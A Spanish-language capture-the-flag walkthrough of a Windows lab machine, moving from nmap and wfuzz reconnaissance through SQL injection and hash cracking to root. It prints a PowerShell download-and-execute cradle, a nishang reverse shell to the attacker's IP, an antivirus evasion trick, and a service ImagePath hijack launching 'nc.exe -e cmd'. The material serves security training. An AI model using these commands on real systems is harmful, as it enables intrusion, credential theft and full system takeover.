Conocimientos
-
Inyecci贸n SQL - Error Based
-
Abuso de permiso de escritura desde la inyecci贸n SQL
-
Bypass AMSI
-
Enumeraci贸n con WinPeas
-
Hijacking Service ImagePath a trav茅s del registro (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS -vvv 10.10.10.167 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-01 20:02 GMT
Initiating SYN Stealth Scan at 20:02
Scanning 10.10.10.167 [65535 ports]
Discovered open port 135/tcp on 10.10.10.167
Discovered open port 80/tcp on 10.10.10.167
Discovered open port 3306/tcp on 10.10.10.167
Discovered open port 49667/tcp on 10.10.10.167
Discovered open port 49666/tcp on 10.10.10.167
Completed SYN Stealth Scan at 20:03, 26.35s elapsed (65535 total ports)
Nmap scan report for 10.10.10.167
Host is up, received user-set (0.043s latency).
Scanned at 2023-02-01 20:02:49 GMT for 27s
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
3306/tcp open mysql syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.47 seconds
Raw packets sent: 131084 (5.768MB) | Rcvd: 23 (1.012KB)
Escaneo de versi贸n y servicios de cada puerto
nmap -sCV -p80,135,3306,49666,49667 10.10.10.167 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-01 20:05 GMT
Nmap scan report for 10.10.10.167
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Fidelity
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql?
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.08 seconds
Puerto 80 (HTTP)
Con whatweb, analizo las tecnolog铆as que est谩 empleando el servidor web
whatweb http://10.10.10.167
http://10.10.10.167 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.167], JQuery, Microsoft-IIS[10.0], PHP[7.3.7], Script[text/javascript], Title[Fidelity], X-Powered-By[PHP/7.3.7]
Al abrirla en el navegador aparece lo siguiente:
Si intento acceder a la secci贸n de Admin, me aparece un mensaje diciendo que tengo que pasar por un proxy y que necesito una cabecera. Abro el BurpSuite para hacer pruebas. Al hacer click en login, me redirige tambi茅n a /admin.php.
En el c贸digo fuente hay una pista (CTF-like). Quiero pensar que si consigo el certificado SSL podr茅 acceder a ciertos recursos
Con wfuzz, aplico fuzzing para descubrir la cabecera. Utilizo los diccionarios de Seclists. Como en el comentario hac铆a referencia a una IP, puede que si pongo la loopback como IP, el servidor interprete que es una petici贸n autorizada y me permita el acceso. Pero todas las respuestas me devuelven lo mismo. Sin embargo, en el c贸digo fuente se pod铆a ver otra IP, que es la autorizada
wfuzz -c -t 30 -w /usr/share/wordlists/SecLists/Miscellaneous/web/http-request-headers/http-request-headers-common-non-standard-fields.txt -H "FUZZ: 192.168.4.28" http://10.10.10.167/admin.php
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.167/admin.php
Total requests: 34
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000015: 200 0 L 15 W 89 Ch "PSU-Device-ID"
000000002: 200 0 L 15 W 89 Ch "Front-End-Https"
000000013: 200 0 L 15 W 89 Ch "PSU-Accept-Language"
000000010: 200 0 L 15 W 89 Ch "PSU-Accept"
000000006: 200 0 L 15 W 89 Ch "PSU-HTTP-Method"
000000012: 200 0 L 15 W 89 Ch "PSU-Accept-Encoding"
000000018: 200 0 L 15 W 89 Ch "X-Correlation-ID"
000000001: 200 0 L 15 W 89 Ch "DNT"
000000011: 200 0 L 15 W 89 Ch "PSU-Accept-Charset"
000000028: 200 0 L 15 W 89 Ch "X-Requested-With"
000000020: 200 0 L 15 W 89 Ch "X-XSRF-TOKEN"
000000017: 200 0 L 15 W 89 Ch "X-CSRFToken"
000000003: 200 0 L 15 W 89 Ch "Proxy-Connection"
000000014: 200 0 L 15 W 89 Ch "PSU-GEO-Location"
000000009: 200 0 L 15 W 89 Ch "PSU-Referer"
000000016: 200 0 L 15 W 89 Ch "X-ATT-DeviceId"
000000008: 200 0 L 15 W 89 Ch "PSU-User-Agent"
000000005: 200 0 L 15 W 89 Ch "PSU-IP-Port"
000000024: 200 0 L 15 W 89 Ch "X-Forwarded-Proto"
000000004: 200 0 L 15 W 89 Ch "PSU-IP-Address"
000000034: 200 0 L 15 W 89 Ch "Cluster-Client-IP"
000000032: 200 0 L 15 W 89 Ch "Client-IP"
000000033: 200 0 L 15 W 89 Ch "True-Client-IP"
000000023: 200 0 L 15 W 89 Ch "X-Forwarded-Host"
000000029: 200 0 L 15 W 89 Ch "X-UIDH"
000000027: 200 0 L 15 W 89 Ch "X-Request-ID"
000000030: 200 0 L 15 W 89 Ch "X-Wap-Profile"
000000026: 200 0 L 15 W 89 Ch "X-ProxyUser-Ip"
000000007: 200 0 L 15 W 89 Ch "PSU-Date"
000000031: 200 0 L 15 W 89 Ch "X-XSRF-TOKEN"
000000025: 200 0 L 15 W 89 Ch "X-Http-Method-Override"
000000019: 200 0 L 15 W 89 Ch "X-Csrf-Token"
000000021: 200 0 L 15 W 89 Ch "X-Do-Not-Track"
000000022: 200 153 L 466 W 7933 Ch "X-Forwarded-For"
Total time: 0.352844
Processed Requests: 34
Filtered Requests: 0
Requests/sec.: 96.35960
Desde el BurpSuite, a帽ado una configuraci贸n para que cada petici贸n que realice, le agregue esa cabecera.
Y carga la web
En el campo de b煤squeda, introduzco una comilla y me aparece un error de MySQL
Me interesa saber cual es el n煤mero de columnas. Por tanteo, llego hasta el 6, que no me reporta ning煤n error en la respuesta
Aplico una selecci贸n para encontrar los campos vulnerables, y todos lo son
Enumero las bases de datos
De warehouse, extraigo las columnas, pero no veo nada de inter茅s, as铆 que procedo a enumerar la base de datos mysql
Encuentro una columna de usuarios
Me quedo con los campos User y Password
Y obtengo una contrase帽a hasheada
En total tengo 3 hashes
cat hashes
hector:*0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
manager:*CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
root:*0A4A5CAD344718DC418035A1F4D292BA603134D8
Obtengo la contrase帽a del usuario hector
john -w:/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (mysql-sha1, MySQL 4.1+ [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
l33th4x0rhector (hector)
1g 0:00:00:01 DONE (2023-02-01 21:00) 0.8620g/s 12363Kp/s 12363Kc/s 30246KC/sa6_123..*7隆Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
En la p谩gina web no hay ning煤n campo de inicio de sesi贸n funcional. Aparece como que estoy loggeado y si miro las cookies de sesi贸n no hay nada. Como MySQL estaba expuesto externamente, pruebo a conectarme proporcionando esas credenciales
mysql -uhector -p -h10.10.10.167
Enter password:
ERROR 1130 (HY000): Host '10.10.14.7' is not allowed to connect to this MariaDB server
Pero no tengo acceso desde mi IP
Pruebo a tirar de rainbow tables con crackstation, por si la contrase帽a de alguno de ellos no est谩 en el rockyou.txt, y es el caso
Igualmente no tengo acceso, as铆 que solo faltar铆a probar si tengo capacidad de escritura en alguna ruta del IIS
Con Invoke-PowerShellTcp.ps1 de nishang, me entablo una reverse shell
Le a帽ado en la 煤ltima l铆nea el comando que quiero ejecutar una vez se interprete
cat Invoke-PowerShellTcp.ps1 | tail -n1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443
Creo la sentencia en powershell que voy a enviar en base64 a un fichero
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/Invoke-PowerShellTcp.ps1')" | iconv -t utf-16le | base64 -w 0 | xclip -sel clip
Y recibo la petici贸n. Pero hay reglas de firewall implementadas o el Defender est谩 bloqueando la conexi贸n
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.167 - - [01/Feb/2023 21:31:52] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
Para bypassearlo, borro todos los comentarios y le cambio el nombre de la funci贸n por otro cualquiera
Y gano acceso al sistema
Mirando los privilegios este usuario, veo que tiene SeImpersonatePrivileage
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
No puedo ver de primeras en que versi贸n de Windows estoy
PS C:\> systeminfo
Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1
+ systeminfo
+ ~~~~~~~~~~.
At line:1 char:1
+ systeminfo
+ ~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
Busco por el registro
PS C:\Users\Hector> reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion
ProductName REG_SZ Windows Server 2019 Standard
Pero no puedo ejecutar comandos con JuicyPotatoNG
PS C:\Temp> .\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami"
JuicyPotatoNG
by decoder_it & splinter_code
[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247
[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag.
Hay un usuario llamado Hector
PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/1/2023 10:07 PM Administrator
d----- 11/1/2019 11:09 AM Hector
d-r--- 10/21/2019 5:29 PM Public
Como tengo su contrase帽a (en caso de que se reutilice), puedo probar a crear unas PSCredentials y ejecutar comandos como este usuario
PS C:\Users\Hector> $Pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
PS C:\Users\Hector> $Cred = New-Object System.Automation.PSCredential('WORKGROUP\hector', $Pass)
PS C:\Users\Hector> Invoke-Command -ComputerName localhost -Credential $Cred -ScriptBlock { whoami }
control\hector
De la misma forma que antes, me entablo una reverse shell como Hector
PS C:\Users\Hector> Invoke-Command -ComputerName localhost -Credential $Cred -ScriptBlock { powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFM
AdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAALgBwAHMAMQAnACkA }
Puedo visualizar la primera flag
PS C:\Users\Hector\Desktop> type user.txt
240ad33dee104435e3a5eb106b5a948d
Escalada
Con WinPeas, aplico reconocimiento
El usuario puede modificar los registros de los servicios
+----------娄 Looking if you can modify any service registry
+ Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\.NET CLR Data (Hector [FullControl])
HKLM\system\currentcontrolset\services\.NET CLR Networking (Hector [FullControl])
HKLM\system\currentcontrolset\services\.NET CLR Networking 4.0.0.0 (Hector [FullControl])
HKLM\system\currentcontrolset\services\.NET Data Provider for Oracle (Hector [FullControl])
HKLM\system\currentcontrolset\services\.NET Data Provider for SqlServer (Hector [FullControl])
HKLM\system\currentcontrolset\services\.NET Memory Cache 4.0 (Hector [FullControl])
...
Pruebo a modificar el binPath de uno de ellos pero no tengo acceso
PS C:\Temp> sc.exe config seclogon binPath="C:\Temp\nc.exe"
[SC] OpenService FAILED 5:
Access is denied.
Examino los atributos del registro que corresponde a ese servicio
PS C:\Temp> reg query HKLM\System\CurrentControlSet\Services\seclogon
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon
Description REG_SZ @%SystemRoot%\system32\seclogon.dll,-7000
DisplayName REG_SZ @%SystemRoot%\system32\seclogon.dll,-7001
ErrorControl REG_DWORD 0x1
FailureActions REG_BINARY 805101000000000000000000030000001400000001000000C0D4010001000000E09304000000000000000000
ImagePath REG_EXPAND_SZ %windir%\system32\svchost.exe -k netsvcs -p
ObjectName REG_SZ LocalSystem
RequiredPrivileges REG_MULTI_SZ SeTcbPrivilege\0SeRestorePrivilege\0SeBackupPrivilege\0SeAssignPrimaryTokenPrivilege\0SeIncreaseQuotaPrivilege\0SeImpersonatePrivilege
Start REG_DWORD 0x3
Type REG_DWORD 0x20
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon\Parameters
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon\Security
No tiene el binPath t铆pico, sino que hay otro llamado ImagePath
Modifico directamente el registro
PS C:\Temp> reg add HKLM\System\CurrentControlSet\Services\seclogon /t REG_EXPAND_SZ /v ImagePath /d "C:\Temp\nc.exe -e cmd 10.10.14.7 443" /f
The operation completed successfully.
Inicio el servicio
PS C:\Temp> sc.exe start seclogon
Y gano acceso en una sesi贸n de netcat
nc -nlvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.167.
Ncat: Connection from 10.10.10.167:49761.
Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Puedo visualizar la segunda flag
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
34502f22263c6dd4e8c60d8a4b456853